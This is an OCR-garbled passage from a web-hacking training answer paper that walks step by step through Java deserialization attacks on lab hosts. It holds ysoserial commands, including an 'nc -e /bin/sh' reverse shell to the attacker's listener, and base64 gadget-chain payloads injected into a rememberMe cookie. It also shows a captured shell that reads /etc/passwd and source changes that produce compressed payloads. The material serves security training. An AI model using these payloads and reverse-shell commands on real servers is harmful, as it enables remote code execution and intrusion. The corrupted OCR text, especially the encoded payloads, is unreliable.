BhY2h1L2NvbW1vbnMvY29sbGVjdGlvbnMAL 1Ry YWSzZmOybWVy03hwdXTAL1tMb3InLmFwYWNoZS5jb21tb25zLmNvbGx1Y3Rpb25zNC5UcmFuc2ZvemllcjsSgTr7CNo/pQIAAHN
bmN@b3JzLkNvbnNOYWS@OVHIhbnNmb3JtZXJYdpARQQKxLATAAUWACW1Db25zdGFudHQAEkxqYXZhL2xhbmevT21qZWNOO3hwdnIAN2NvbSSzdW4ub3InLmFwYWNoZS54YWxhbiSpb)
TIAP29yZyShcGF jaGUuY29tbW9ucyS jb2xsZWN@aWduczQuZnVuY3RvenMuSW5zdGFudGlhdGVUcmFuc2ZvemllcjSLOH+khtA7AgACWWAFaUFyZ3N@ABNbTGphdmEvbGFuZy9PYmp
ABNbTGphdmEubGFuZySPYmp1Y3Q7kMSYnxBzKWwCAAB4cAAAAAFzcgA6Y29tLnN1biSvemcuYXBhY2hlLnhhbGFulmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSWIwbALXT|
AKX2]5dGVjb2R1c3QAA1tbQ1SAB19jbGFzc3EAfgAUTAAFX25hbWVOABIMamF2YS9sYWSnLINOcmluZztMABFfb3VAcHVOUHIvcGVydGl1c3QAFkxqYXZhL3VRaWwvUHIveGVydGl
rPMX+AYIVOACAAB4CAAABr7K/ rq+AAAAMgASCgADACTHADCHACUHACYBABBZZXIpYWxWZXJzaWOuVU1EAQABSGEADUNVbNNOYWS@QVmMF sdWUF rSCT85HAd7z4BAAY 8aW5pdD4BAAMoK]
RhYmx1AQAEdGhpcwEAEINAdWIUcmFuc2x1dFBheWxvYWQBAAXIbmS1ckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V@aWwvR2FkZ2VOcyRTdHViVHIhbnNsZXRQYX1sb2F|
L21udGVybmFsL3hzbHRjLORPTTtbTGNvbS9zdW4vb3InL2 FwYWNoZS94bWwvaWS0ZXJuYWwvc2VyaWFsaXplci9TZXIpYWxpemFOaWOuSGFuZGx1cjspVgEACGRVY3VEZWSOAQALT]
07AQATIaGFUZGx1cnMBAEIbTGNVbS9zdW4vb3InL2FwYWNoZS94bWwvaWS@ZXJuYWwvc2VyaWFsaXplci9TZXIpYWxpemF@aWOuSGFuZGx1cjsBAApFeGNLcHRpb25zBWANAQCMKE x|
00xjb20vc3Vul29yZy9hcGF jaGUveGlsL21udGVybmFsL2RObSOEVE1BeGlzSXR1cmF@b3I7TGNvbS9zdW4vb3InL2FWYWNoZS94bWwvaWS@ZXJuYWwvc2VyaWFsaXplci9TZXIpY]
InL2FwWYWNoZS94bWwvaWS@ZXJuYWwvZHRtLORUTUF4aXNJdGVyYXRvc jsBAAdoYWSkbGVYAQBBTGNvbS9zdWavb3 InL2FwYWNoZS94bWwvaWSOZXJuYWwvc2VyaWFsaXplci9TZX]
YXZhDAAKAASHACgGBADNSc29zZXJpYWwvcGF5bGOhZHMvAXRpbCOHYWRNZXRzJFNOdWIUcmFuc2x1dFBheWxvYWQBAEB jb20vc3Vul29yZy9hcGF jaGUveGF s YW4vaWS0ZXJuYWwve)
JpYWxpemFibGUBADL jb2@vc3Vul 29yZy9hcGF jaGUveGFsYW4vaWS@ZX JuYWwveHNsdGMvVHIhbnNsZXRFeGN1 cHRpb24BAB95c292ZX I p YWwvcGFSbGOhZHMvAXRpb COHYWRNZXR]
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Step 5: Copy the payload we generated in the above step and paste this entire payload in the

“rememberMe” cookie and observe the command execution on the server.

Go Cancel Target: http://mblog.webhacklab.com | 7 || 7 |
Request

J Raw [ Params I Headers T Hex 1

GET findex HTTPF/1.1
Host: mblog.webhacklab.com ]

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://mblog.webhacklab.com/login

Cookie: ISESSIONID=665C2 709E5040C38TE2637929CATDAFD;
rememberMe=rO0ABXNyABdqYXZhLnV0aWwuUH|pb3)pdHIRdAWWV1ZZTaMLT7P4KxAWACSQAEC2 16 ZUWACMNvVbX
BhecmFOb3)OABZMamF2YS91dGIsLONvbXBhecmFOb317eHAAAAACCIIAQOM 9y Zy5heGFjaGUUY29tbWOucy5jb2xsZ
WNOaW9uczQuY29tcGFyYXRvenMuVHJhbnNmb3)JtaW5nQ29tcGFyYXRvci/ShPArsQjMAgACTAAJZGV|b3JhdGVkcQB
+AAFMAATOcmFuc2Zvem1lcnQALUxvemevYXBhY2hIL2 NvbW 1vbnMvY29sbGVjdGlvbnMOL1RyYW5zZm9ybWVyO
3hwe3lAQG9yZy5hcGFjaGUuY29tbW99ucy5jb2xsZWNO0aW9uczQuY29tcGFyYXRvenMu Q2 9tcGFyYW)sZUNvb XBhc
mFOb3L79]kluGExNwIAAHhwe3IAO29yZy5heGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvenMuQ2hha | L
W5IZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAALpVH]hbnNmb3JtZX)zd AAuWOxvemevYXBhYZ2hILZNvbW1vbnM | v

? = + = | |Type a search term 0 matches
L= L= e

Response

J Raw [ Headers T Hex I HTML I Render 1

HTTP/1.1 500 Internal Server Error
Server: nginx/1.10.3 (Ubuntu)

Date: 5at, 11 May 2019 14:59:49 GMT
Content-Type: text/html;charset=utf-8
Content-Length:; 1722

Connection: close

Content-Language: en

<!DOCTYPE htmi=<html><head><title>Apache Tomcat/8.0.32 (Ubuntu) - Error report</title=><style
type—"textlcss">H1

FMFrmmt Fammilihe: Taham = Aciawl camme cnrsifrcrnalacsiimchifaih wcllrmsrnsrmm e Al UWCACM TS cFrmdt ~laa e T W 117 -]

Type a search term 0 matches
=) () (=)

Step 6: As can be seen from the screenshot below, we received domain resolution requests on our
internal kali host confirming command execution.

# tcpdump -n udp port 53 -i any
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
115ten1nq on any, link-type LINUX SLL (Linux cooked), capture size 262144 bytes
- R= 7 192.168.200.12.19006 = 192.168.4.6.53: 33496+ A? foo.user6.webhacklab.com. (42)
] .15.4711 > 8.8.8.¢ 400+ A? foo.user6.webhacklab.com. (42)
.15.4711 > 68.8.4. 400+ A? foo.user6.webhacklab.com. (42)

15.4711 > l l 1517 400+ A? foo.userb.webhacklab.com. (42)
: ] .A4711: 400 NXDomain O/1/0 (112)
.12.19006: 33496 NXDomain 0/1/0 (112)
1: 400 NXDomain 0/1/0 (112)
400 NXDomain 0/1/0 (112)
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Step 7: Generate the payload using tool ‘ysoserial-master.jar’ to perform the action of taking a

reverse shell using the below command:

root@Kali:~/tools# java -jar ysoserial-master.jar CommonsCollections4 'nc -e

/bin/sh 192.168.4.X 9898' | base64 | tr -d "\n"

Bin/sh 192 168.4.6 0808 | basee4 T tr -d "

root@kali:~/tools# fjava -jar ysoserlal-master ]ar Commons{ollect1on54 nc -e
rO@ABXNyABdqYXZhLn XB C3TAQMIyZy
UuY29th9ucy5]besZWN@awguczQuY29thFyYXvanMuVHJhbnNmb3JtaW5nQ29thFyYXva1/5hPArsQJMAgACTAAJZGV]b3JthVkcQB+AAFMAAt@cmFuc22vcm11chA
YXBhYZh1L2NvbWlvbnMvY29sbGVjdGlvbnMAL 1Ry YWSzZmIybWVy03hwc3TAQGIYZyShcGF JaGUuY29tbWiucySjb2xsZWN@aW9uczQuY29tcGFyYXRvenMuQ29tcGFyYWIsZU
FOb3L79]k1LuGExNwIAAHhWC3IA0Z29yZyShcGF jaGUuY29tbWlucyS jb2xsZWN@aWduczQuZnVuY3RvenMuQZhhaWs1ZFRy YWSzZmOybWVyMMeX7Che LwQCAAFbAALPVHIhbniNn|
dAAUW@xvcmevYXBhYZh1L2NvbW1vbnMyY29sbGVidG1vbnMBL 1Ry YWSzZmOybWVy03hwdXIAL1tMb3InLmFwYWNoZS57b21tb25zLmNvbGx1Y3Rpb25zNCSUcmFuc2Zvemllc
0/pQIAAHhWAAAAANNYADxvCmcuYXBhYZh1LmNvbW1vbnMuY29sbGVjdGlvbnMALMZ 1bmN@b3JzL kNvbnNOYWS@VHIhbnNmb3JtZXJYdpARQQKx LATAAUWACW1 Db25zdGFudHQA
LZ2xhbmevT21qZWN@O3hwdnIANZNvbS5zdW4ub3 InLmFwYWNoZS54YWxhbiSpbnR1cmShb(54c2x@Yy50cmF4L 1RyQVhGaWx@ZXTAAAAAAAAAAAAAAHhwC3TAP29yZyShcGF jag
ucy5jb2xsZWN@aW9uczQuZnVuY3RvenMuSW5zdGFudGlhdGVUcmFuc2Zvemllc jSLOH+khtA7AgACWWAF aUF yZ3N@ABNbTGphdmEvbGFuZy9PYmp1Y3Q7WwALaVBhemFtVHL
TGphdmEvbGFuZy9DbGFzczt4cHVYABNbTGphdmEubGFUZySPYmplY3Q7kMSYnxBzKWwCAABACAAAAAFZcgABY29tLnN1biSvemcuYXBhY2ZhlLnhhbGFulmludGVybmFsLnhzbH
guVGVtcGxhdGVzSWIwbALXT8FurkszAWAGSQANX21uZGVudES1bWI1ckkAD19@cmFuc2x1dETuZGVANWAKX2]5dGV jb2R1c3QAAL1tbQ1sABLI jbGFzc3EAFgAUTAAFX2Shbwve
YS9sYWSnLIN@cmluZztMABF fb3VACHVAUHIvcGVydG11c3QAFkxgYXZhL 3VAaWwvUHIveGVydGl1czt4cAAAAAD/ /// / AXTAALtbQkvIGRVNZ9s3AgAAeHAAAAACAXTAALLCrA
ACAAB4CAAABrLK/ rg+AAAAMgASCgADACTIHADCHACUHACYBABBzZZX JpYWxWZXJzaW9uVU1EAQABSGEADUNVbNN@YWS@VmF sdWUF rSCT85Hd7z4BAAY 8aWSpdD4BAAMOKVYBAARD)
TGluZUS1bWI1c1RhYmxLTAQASTGIJYWxWYXIpYWIsZVRhYmx LAQAEdGhpcwEAE IN@dWIUcmFuc2x1dFBheWxvYWQBAAxIbm51ckNsYXNzZXMBADVMeXNvc2VyaWF sL3BheWxvYW
wvR2FkZ2V@cyRTdHViVHIhbnNsZXRQYX1sb2FkOWEACXRy YW5zZmOybQEAcihMY29tL3N1bi9vemevYXBhY2h1L3hhbGFul21udGVybmFsL3hzbHRjLORPTTtbTGNvbS9zdW4y
YWNoZS94bWwvalWS@ZXJuYWwvc2VyaWFsaXplci9TZXIpYWxpemF@aWIuSGFuZGx1lcjspVgEACGRVY3VEZWS@AQALTGNVbSIzdW4vb3InL2FwYWNoZ S94YWxhbi%pbnR1emShb(
9ETOG7AQALaGFUZGX1cnMBAEIbTGNVbS9zdW4vb3InL2 FwYWNoZSI4bWwvaWSOZXIuYWwvc2VyaWF saXplci9TZXIpYWxpemFOaWIUSGFuZGx1cjsBAApFeGNLcHRpb25zBwAN
b2@vc3Vul 29yZy9hcGF jaGUveGF s YW4vaWs0ZX JuYWwveHNs dGMVREINOGx jb20vc3Vul 29yZy9hcGF jaGUveG1lsL21udGVybmFsLZRAbSIEVE1BeG1zSXR1cmFOb3I7TGNvbY
InLZ2FwYWNoZ S94bWwvaW50ZXJuYWwvcZVyaWFsaXplci9TZXIpYWxpemF@aW9uSGFuZGx1cjspVgEACGLOZXIhdGIyAQALTGNvbS9zdW4vb3 InL 2ZFwYWNoZ S94bwvalWS@ZX Iy
LORUTUF4aXNJdGVyYXRvcjsBAAdoYWSkbGVyAQBBTGNvbS9zdWavb3InL2 FwYWNoZ S94bWwvalWS@ZX JuYWwvc2VyaWFsaXplci9TZXIpYWxpemF@aWOuSGFuZGx1cjsBAApTb
XLAQAMRZFkZ2V@cy5qYXZhDAAKAASHACGBADNSc29zZXIpYWwvcGFSbGIhZHMydXRpbCIHYWRNZXRzIJFN@dWIUcmFuc2x1dFBheWxvYWQBAEB jb2@vc3Vul 29yZy3hcGF jaGUy
aWS0ZX JuYWwveHNsdGMvcnVudGltZS9BYnN@cmF jdFRyYWSzbGV@AQAUamF 2YS9pby9TZXIpYWxpemFibGUBAD1 jb2@vc3Vul 29y Zy9hcGF jaGUveGF s YW4valWS@Z X JuYWwveH
JhbnNsZXRFeGN1cHRpb24BABI5c29zZX JpYWwvcGF5bGOhZHMvAXRpbCOHYWRNZXRZAQAIPGNsaWSpdD4BABFqYXZhL2xhbmevUnVudGLtZQcAKgEACMd1dF J1bnRpbWUBABUQ
L2xhbmevUnVudG1ltZTsMACWALQoAKwAuAQAebmMgLWUgL2Ipbi9zaCAxOTIUMTY4L jQUNiASODk4CAAWAQAEZXh1YWEATyhMamF2YS9sYWSnLIN@cmluZzspTGphdmEvbGFuZy
NzOwwAMgAz CgArADQBAALTAGF ja@1lhcFRhYmx1AQAdeXNvc2VyaWF sL1B3bmVyNDIzMTE@NzQ3NDYSMTEBABIMeXNvc2VyaWFsL1B3bmVyNDIzMTE@NzQ3NDYSMTEZACEAAGAD)
ABOABQAGAAEABWAAAATACAAEAAEACGALAAEADAAAACSAAQABAAAABSQ3AAGXAAAAAGANAAAABGABAAAAL gAOAAAADAABAAAABQAPADGAAAABABMAF AACAAWAAAA/ AAAAAWAAAA
ANAAAABgGABAAAAMWAOAAAATAADAAAAAQAPADGAAAAAAAEAFQAWAAE AAAABAB CAGAACABKAAAAEAAEAGGABABMAGWACAAWAAABJAAAABAAAAAGXAAAAAGANAAAABGABAAAANWAQ
AAAAAQAPADGAAAAAAAEAFQAWAAEAAAABABWAHQACAAAAAQAEABBAAWAZAAAABAABABOACAAPAASAAQAMAAAATAADAATAAAAPPWADAUY4ACBSMbY ANVexAAAAAQAZ AAAAAWAB AW
ACACEAEQAAAAOAAQACACMAEAAIAXEAT gAfAAABIMr+ur4AAAAYABSKAAMAFQcAFwcAGACAGQEAEHNT cmlhbFZ1cnNpb25VSUQBAAFKAQANQZ29uc3RhbnRWYWx1ZQVx5mnuPG1H
bml@PgEAAygpVgEABENVZGUBAAIMaWS 1 TnVEYmVyVGFibGUBABIMb2NhbFZhemlhYmx1VGFibGUBAARGGG1 zAQADRMIVAQAMSWSUZXIDbGFzc2VzAQALTHLzb3N1emlhbCowY
91dG1sL@dhZGd1dHMKkRmIVOWEACTNvAX] JZUZpbGUBAAXHYWRNZXRzLmphdmEMAAGACWCAGGEAI31zb3N1emlhbCOwYX1sb2Fkcy91dG1sLBdhZGd1dHMkRmIvAQAQamF2YS9d
amV jdAEAFGphdmEvaW8vU2VyaWF saXphYmx LAQAfeXNvc2VyaWF sL3BheWxvYWRzL3VOaWwvR2 FkZ2VAcwAhAATAAWABAAQAAQAGAAUABGABAACAAAACAAGAAQABAAOACWABAA

Step 8: Start a “nc listener” to wait for reverse shell

root@kali:~# nc -nlvp 9898
listening on [any] 9898
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Step 9: Copy the payload we generated in the above step and paste this entire payload in the

rememberme cookie and observe the command execution on the server.

Go Cancel | | <Iv || >Iv Target: http://mblog.webhacklab.com | || 7 |
Request
j Rawr T Params T Headers I Hex ]
GET findex HTTP/1.1 A
Host: mblog.webhacklab.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtmI+xml,application/xml;q=0.9,*%/*,0=0.8

Accept-Language: en-U5,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://mblog.webhacklab.com/login

Cookie; ISESSIONID=665C2709E5040C387E2637929CA1D4F9;
rememberMe=rO0ABXNyABdqYXZhLnVO0aWwuUH)pb3|pdHIRdAWV1ZZTaMLT7P4KxAWACSQAEC2I6 ZUwACMMNvbX
BhemFOb3J0ABZMamF2YS91dGIsLONvbXBhemFOb317eHAAAAACC3IAQM 9y Zy5heGFjaGUuY29tbWucy5jb2xsZ
WNOaW9uczQuY29tcGFyYXRvenMuVH]hbnNmb3JtaW5nQ29teGFyYXRvci/5 hPArsQjMAgACTAAJZGVjb3)hdGVkecQB
+AAFMAATOcmFuc2Zvem llenQALUxvemcvYXBhY2ZhILZNvbW 1vbnMvY29sbGVjdGlvbnMOL1RyYW5zZm9ybWVyO
3hwc3lAQGY9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWNOaWuczQuY29tcGFyYXRvenMuQ29tcGFyYW]sZUNvbXBhc
mFOb3L79JkluGexNwlAAHhwc31A029yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWNOaW9uczQuZnVuY3RvenMuQ2hha
W5IZFRyYW52zZm9ybW\VyMMeX7ChelwQCAAFbAALpVHJhbnNmb3JtZX|jzd AAUW O xvemevYXBhY2hIL2ZNvbW1vbnM | |v

L2 =)+ ]| =] Type asearch term 0 matches

Response

j Raw T Headers I Hex I HTML I Render ]

HTTP/1.1 500 Internal Server Error A
Server: nginx/1.10.3 (Ubuntu)

Date: Sat, 11 May 2019 14:59:49 GMT

Content-Type: text/html;charset=utf-8

Content-Length: 1722

Connection: close

Content-Language: en

<!DOCTYPE html=<html><head><title>Apache Tomcat/8.0.32 (Ubuntu) - Error report</title><style
type="text/css">H1

L | ey Ny N S NP P Wy T O N PR R PR Y mpy T = o Y N Sy B R, T TR T T Y

> [ = T = Type a search term 0 matches
Ll=llH =]
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Step 10: As can be seen from the screenshot below, we received a reverse shell on our internal kali

host confirming command execution.

root@kali:~# nc -nlvp 9898

listening on [any] 9898 ...

connect to [192.168.4.6] from (UNKNOWN) [192.168.200.14] 35734
id

uid=112(tomcat8) gid=118(tomcat8) groups=118(tomcat8)

cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www: /usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:1ircd:/var/run/ircd:/usr/sbin/nologin

NotSoSecure part of Page: | 53
Cla ra net cyber secu I"ity © Claranet Cyber Security 2021. All rights reserved



NSS Training — AWH 5D Answer Paper

Bonus: Tricky Java Deserialization Attack

- Binary

Challenge URL: http://mblognew.webhacklab.com/login

. Identify and inject a payload into the serialised data to make the host send DNS
reguests to an external host.
. Get areverse shell and extract system information such as usernames, OS type from

the server and also read the ‘/etc/passwd’ file.
Solution:

Step 1: Register to the application, navigate to the login page, provide credentials, and tick the

'Remember Me' checkbox and click on submit button.

Microblog Login x | +

.:/(—\] = G @ |®ﬁ' mblognew.webhacklab.com/login e w

— Home  Register  Login M|cr0blog

Username :

awhsanjay

Password :

SUBMIT
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Step 2: Once you have successfully logged in to the application, navigate to any of the tabs 'Home',

'Profile’, 'Notification' or 'Settings'.

Microblog x |+

(— = G @ @lmblagne'.M.webhacklab.com,-'login| e w + INn B E@

— Home Profile Notification Settings M i cro b | 0 g

@9

POST

Step 3: Capture the HTTP Request in Burp Suite and observe the 'rememberMe' cookie value

which has Base64 encoded data

/ Request to http://mblognew.webhacklab.com:80 [192.168.200.11]
| For... || Drop H Int... H Act... | Comment this item W@

jRaw T Params I Headers I Hex ]

1 GET /userUpdate HTTP/1.1

2 Host: mblognew.webhacklab.com

3 User-Agent: Mozilla/5.0 (X11l; Linux x86_64; rv:60.0)
Gecko/20100101 Firefox/60.0

4 Accept:
text/html, application/xhtml+xml, application/xml;q=0.9, */*; q=0.
8

5 Accept-Language: en-US,en;q=0.5

& Accept-Encoding: gzip, deflate

7 Referer: http://mblognew.webhacklab.com/login

8 Cookie: JSESSIONID=883B382ACE34F9454AA4F74D3E472E36;

rememberMe=

"eJxb85aBtbiIQS2xPEMvVL7+k0L84NbmOKFUVNYknP1OvIUkvNz81NUcvtDilK

DilgFTgvvuOrz/zmRgYfRg4SoGCeYm5qSUMQj5Z1iWW] +jmleen6wSVFmXnplhU

FJQycQFOLE/OyEisBx3U14Q=="

9 Connection: close

10 Upgrade-Insecure-Requests: 1
11

w NotSoSecure part of Page: | 55
Cla ra net cyber secu I’ity © Claranet Cyber Security 2021. All rights reserved



NSS Training — AWH 5D Answer Paper

Step 4: It contains unreadable data but when its Base64 decoded the cookie value, and the value

will be as shown in figure

Dashboard Target Proxy Intruder Repeater Sequencer | Decoder |\Comparer Extender Project options
||ebeBSaBtbilQSZXPEMVL7+kOL84NmeKFUvNyknP10vJUkaZBINUcvtDi1KDi1qFTgWuOrz,’szgYng4SoGCer5qSUMQj5ZiWWJ+jmJeen6wS\|
L Y ]

AN

0 78 9c 5b 3 96 81 b5 b8 88 M4 2d b1 3c 43 2f f x [0 u, A-x<C//

1 bf a4 38 bf 38 35 b9 b4 28 55 2f 37 29 27 3f \& :u8;85" (U/7)'7]

2 2f 25 49 2f 37 3f 25 35 47 2f b4a 38 b5 28 38 b5 | /%I/7?%5G/ 8u(8u
3 a8 54 e0 be fb b4  af 3f f3 99 18 18 7d 18 38 4a “Taali "?26 )} 8J
a4 81 82 79 89 b9 a9 25 Oc 42 3e 59 89 65 89 fa 39 y '@% B>Y e 09
5 89 79 e9 fa cl 25 45 99 79 e9 dé 15 05 25 Oc 9c yeUA%E yéd %

6 40 53 8b 13 f3 b2 12 2b 01 c7 75 256 el -- -- -- @S 6% +Gu%a

Note: Always try different encoding and encryption mechanisms when there is such type of Base64

data.

Step 5: Observe that the application passes Java serialized value after Base64 decode and then

decompresses it using deflate using the 'Hackvertor' Burp Suite extension as shown in figure:

Comparer Extender

1x

Project options User options

Hackvertor JSON Web Tokens

Decoder Improved

Search

[ d_base32 || d_base64 |

/ |

Input: 148 / \

e Ixb85aBth11Q52xPEMVL7+kOL84NbmOKFUvNyknP 10vj Uk vNzZ
81NUcvtDilKDilgFTgvvuOrz/zmRgYfRg4SoGCeYm5qSWMQ]5Z
iWWJ+jmJeen6wSVFmXnp ThUFJQycxY15WYmVec XFAMex 4 U=

Output: :148

eJxb85aBtbiIQS2xPEMvL7+k0L84NbmOKFUvNyknP10vIUkvNz
81NUcvtDilKDilgFTgvvuOrz/zmRgYfRg4SoGCeYm5qSUMQ]j5Z
iWWJ+jmIeen6wSVFmXnp 1hUFJQycxY15WYmVec XFAMexJ fU=

<@d_base64>eJxb85aBtbiIQS2xPEMvL7+kOL84NbmOKFUvNyk
nP10vJUkvNz81NUcvtDilKDilgFTgvvuOrz/zmRgYfRg4SoGCe
Ym5qSUMQj5ZiWWI+jmIeen6wSVFmXnp 1hUFJQycxY15WYmVec X

OT600u, JA-2<C/7¢u8;85" (U/7) 21/%1/17%5G/ Su(BW T
3507~ 26[1}8I [0y [ e%B>YeUi9y éUA%E[y é0%Ay YOIy AAC+

FAMexJ fU=<@/d_base64>

Comparer
Charsets

Extender Project options

I Compression I

User options

JSON Web Tokens

-~
Decoder Improved

deflate_decompress

vInput: ‘:171'
<@d_base64>eJxb85aBtbiIQSZxPEMvL7+k0L84me0KFUvNyk
nP10vJUkvNz81NUcvtDilKDilqFTgvvu0rz/zmRgYfRg4SoGCe
Ym5qSUMQj5ZiWWI+jmIeen6wSVFmXnp 1hUFJQycxY15WYmVecX
FAMexJ fU=<@/d base64>

218,851 (U/7) "' ?1/%1/7?%56/ "8u(8u"T
y[]*e%B>Y[Je[Ju9[ly éUA%Eyé0%ANy YOIy AAC

I<@def1ate_decompress><@d_base64>eJxb85aBtbiIQS2xPE
MvL7+kOL84NbmOKFUVNyknP10vJUkvNz81NUcvtDilKDilqFTg

%0s r&awh .notsosecure.mblog.db.model.Use rSe ruéGéto
LusernametlLjava/lang/String;xpt awhsanjay

vvu0rz/zmRgYfRg4SoGCeYm5qSUMQj5ZiWWI+jmIeen6wSVFmX
np 1hUFJQycxY15WYmVecXFAMexJ fU=<@/d_base64><@/defla

te_decompress>

i
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Step 6: To generate compressed Java deserialization payload, it is required to modify the original
ysoserial source code. To do that, navigate to the following link or command to download the Git

repository.

Source: https://github.com/frohoff/ysoserial

Git command: git clone https://github.com/frohoff/ysoserial.git

& c & | © & netps:github.comfrohofiysoserial | - 9 i vinmoHA =
) NotSosecure (& Shop Webhacklab Topup Webhacklab @ Microblog @ HealthCheck | Admin Webhacklab Utility @& Wordpres NotSoSec... »
O Why GitHub? Team Enterprise Explore Marketplace Pricing Sign in ‘ Sign up ‘
& frohoff/ ysoserial ®Watch 205  ¥7 Star 3.8k | Y Fork L1k
<> Code Issues 21 Pull requests 20 Actions Projects 1 Wiki Security Insights

¥ master ~ ¥ 4 branches 10 tags Go to file About

A proof-of-concept tool for

g testanull Add Aspect)Weaver file write gadget (#1... '« 138dc36 Jan 11,2021 () 159 commits generating payloads that
exploit unsafe Java object
src Add AspectjWeaver file write gadget (#145) Jan 11, 2021 deserialization.
[3 .editorconfig fixes, refactoring Sep 3, 2017 & frohoff.github.io/appsec...

L L view  mrommer ¥
: # git clone https://github.com/frohoff/ysoserial.git

Cloning into 'ysoseriat™ ==

remote: Enumerating objects: 3, done.

remote: Counting objects: 1 (3/3), done.

remote: Compressing objects: 100% (3/3), done.

remote: Total 1441 (delta 0), reused 0 (delta 0), pack-reused 1438
Receiving objects: 1 1441/1441), 329.78 KiB | 427.00 KiB/s, done.
Resolving deltas: 10 02/702), done.

Step 7: While navigating to the build instruction of ysoserial, it was observed that the project was
built in Maven framework, and it is required to download distributed binaries of Maven framework to

compile the source code of ysoserial as shown in figure:

€) GitHub - frohofffysoseria X | @ New Tab X [+

(€ c @ @ & https:/jgithub.com/frohofflysoseria v @ 1
) NotSosecure (@ Shop Webhacklab | Topup Webhacklab ) Microblog @) HealthCheck | Admin Webhacklab |  Utilif

Building

Requires Java 1.7+ and Maven 3.x+

mvn clean package -DskipTests

Code Status
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Step 8: Download the latest Maven binaries from the download link given and extract it using

following command:

Download link: https://maven.apache.org/download.cgi
Latest version at the time of writing:

https://mirrors.estointernet.in/apache/maven/maven-3/3.6.3/binaries/apache-

maven-3.6.3-bin.tar.gz

Command: tar xzvf apache-maven-3.6.3-bin.tar.gz

File Edit View Terminal Tabs Help
# 1s

Terminal - root@kali: ~/Desktop

# tar xzvf apache-maven-3.6.3-bin.tar.gz |

Step 9: In order to generate the compressed ysoserial deserialization payload, it is required to

modify the generate 'src/main/javal/ysoserial/GeneratePayload.java'’ file as shown in figure:

Code Change 1:
import java.util.zip.DeflaterOutputStream;

import java.io.*;

Code Change 2:
System.out.println(compressObject(object));
Comment out next 3 statement using '/*$SOURCE_CODE$*/'

Code Change 3:

public static String compressObject(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
OutputStream mCompressdos = new DeflaterOutputStream(byteArrayOutputStream);
ObjectOutputStream mOutputStream = new ObjectOutputStream(mCompressdos);
mOutputStream.writeObject(obj);

mOutputStream.close();

mCompressdos.close();

NotSoSecure part of

claranet cyber security

Page: | 58

© Claranet Cyber Security 2021. All rights reserved



NSS Training — AWH 5D Answer Paper

return new

String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()));
}

[ NON | 'z Screen Shot 2021-01-19 at 8.26.40 PM.png
v Q | & th g v D ® Q Search

0 /root/Desktop/ysoserial/src/main/javajysoserial/

the root account, you may harm your system.

exploit payloads secmgr Deserializerjava | GeneratePayload.j- Serializer.java Strings.java
ava

File Edit Search Options Help
74
3 import java.io.*;
4dimport java.util.*;
5import java.util.zip.DeflaterOutputStream;
=
7 import ysoserial.payloads.ObjectPayload;
8 import ysoserial.payloads.ObjectPayload.Utils;
9import ysoserial.payloads.annotation.Authors;
10 import ysoserial.payloads.annotation.Dependencies;
1 '
12 @SuppressWarnings("rawtypes")
13 public class GeneratePayfload {
14 nriviada e+ati~ Ffinal in+ TNTEDAAI EDDND CNANE _— 70.
file E Seal ons Help
30 return; // make null analysis happy
31 }
32
33 try {
34 final ObjectPayload payload = payloadClass.newInstance(); ]
35 Einod : e - 1 - 0.
36 System.out.println(compressObject(object)); E
a7 /*PrintStream out = System.put;
38 Serializer.serialize(object, out);
39 ObjectPayload.Utils.releasgPayload(payload, object);*ﬂ E
40 } catch™(Throwapte eJ 1 |
41 System.err.println("Error While generating or serializing payload"); ]
42 e.printStackTrace();
43 System.exit (INTERNAL_ERRORECODE) ;
44 } i
45 System.exit(0); 1
46 } ]
47
48 public static String compressObject(Object obj) throws IOException { |
49 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); 1
50 OutputStream mCompressdos = new DeflaterOutputStream(byteArrayOutputStream);
51 ObjectOutputStream mOutputStream = new ObjectOutputStream(mCompressdos);
52 mOutputStream.writeObject(obj); E
53 mOutputStream.close();
54 mCompressdos.close();
55 return new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())); |3
56 } 1
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Step 10: Once the source code is modified, compile it using the following Maven command as

shown in figure:

Command: mvn clean package -DskipTests

a Terminal - root@kali: ~/Desktop/ysoserial
File Edit View Terminal Tabs Help

root@kali: ~/Desktop/apache-maven-3.6.3/bin X root@kali: ~/Desktop/ysoserial

root@kali: # pwd
/root/Desktop/ysoserial
root@kali: #../apache-maven-3.6.3/bin/mvn clean package -DskipTestsl

Step 11: Start TCP listener.

root@Kali:~# tcpdump -n udp port 53 -i any

root@kali:/# tcpdump -n udp port 53 -1 any
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
Llistening on any, link-type LINUX SLL (Linux cooked v1), capture size 262144 bytes

Step 12: Once compilation is successful, there will be a new 'target' folder created, Navigate to
